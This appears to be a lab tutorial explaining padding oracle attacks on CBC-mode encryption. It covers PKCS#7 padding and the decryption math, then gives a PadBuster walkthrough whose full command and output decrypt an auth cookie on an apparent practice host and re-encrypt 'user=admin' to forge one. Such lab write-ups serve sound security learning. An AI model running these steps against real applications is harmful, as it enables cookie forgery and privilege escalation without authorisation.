Skip to main content

padding-oracle-attack-cbc-mode

Padding Oracle Attack (CBC Mode)

A Padding Oracle vulnerability occurs when an application decrypts CBC-encrypted data and leaks whether the padding is valid or not.
This leak allows an attacker to:

  • Decrypt encrypted data (without the key)
  • Re-encrypt arbitrary plaintext
  • Bypass authentication / escalate privileges

This attack breaks confidentiality and integrity, even though strong cryptography is used.


Prerequisites for the Attack

A padding oracle exists when all three conditions are true:

  1. The application uses CBC mode encryption
  2. The application uses padding (commonly PKCS#7)
  3. The application leaks padding validity through:
    • Error messages
    • Different HTTP status codes
    • Response size
    • Timing differences

Encryption is correct — the implementation is not.


CBC Mode Refresher

cipher-block-chaining-cbc.md

Encryption
Ci = E( Pi ⊕ Ci-1 )
  • P0 is XORed with the IV
  • Each plaintext block depends on the previous ciphertext block
Decryption
Pi = D(Ci) ⊕ Ci-1
  • For the first block, Ci-1 = IV

PKCS#7 Padding

PKCS#7 pads plaintext so its length is a multiple of the block size.

Examples (8-byte block):

Plaintext EndPadding
missing 1 byte01
missing 2 bytes02 02
missing 5 bytes05 05 05 05 05
full block08 08 08 08 08 08 08 08

What Is the Padding Oracle?

During decryption, the application:

  1. Decrypts ciphertext
  2. Removes padding
  3. Leaks whether padding is valid

If an attacker can detect:

  • “Padding error”
  • vs “Valid padding”

They can recover plaintext byte-by-byte

Core Idea of the Attack

In CBC decryption:

Plaintext byte = DecryptedBlockByte ⊕ PreviousCipherByte

For the last byte of a block:

C15 = I15 ⊕ E7

Where:

  • I15 = output of block decryption
  • E7 = last byte of previous ciphertext block

Automated Exploitation (PadBuster)

PadBuster can exploit this instantly if an oracle exists.

Typical flow:

  1. Decrypt the cookie
  2. Modify plaintext (e.g., role=user → role=admin)
  3. Re-encrypt and replay
PadBuster master ❯ perl padBuster.pl "http://ptl-1934b1f03ed1-81f70aff3254.libcurl.me/login.php" "u7bvLewln6PlMfNt0gSSt%2FYAHxrLfxqR" 8 -cookies auth=u7bvLewln6PlMfNt0gSSt%2FYAHxrLfxqR -encoding 0
Possible precedence problem between ! and string eq at padBuster.pl line 677.

+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 1614

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1795 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (57/256) [Byte 8]
[+] Success: (18/256) [Byte 7]
[+] Success: (173/256) [Byte 6]
[+] Success: (43/256) [Byte 5]
[+] Success: (166/256) [Byte 4]
[+] Success: (116/256) [Byte 3]
[+] Success: (62/256) [Byte 2]
[+] Success: (58/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): e531f36dd20492b7
[+] Intermediate Bytes (HEX): cec58a5fd150ecc6
[+] Plain Text: user=use

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (80/256) [Byte 8]
[+] Success: (106/256) [Byte 7]
[+] Success: (255/256) [Byte 6]
[+] Success: (48/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (13/256) [Byte 3]
[+] Success: (252/256) [Byte 2]
[+] Success: (97/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): f6001f1acb7f1a91
[+] Intermediate Bytes (HEX): 9703f56bd40294b1
[+] Plain Text: r2

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=user2

[+] Decrypted value (HEX): 757365723D7573657232060606060606

[+] Decrypted value (Base64): dXNlcj11c2VyMgYGBgYGBg==

-------------------------------------------------------

Again run it with:

PadBuster master ❯ perl ..same-as-above.. -plaintext user=admin

Wait, and it will give encrypted value then we can use it as cookie.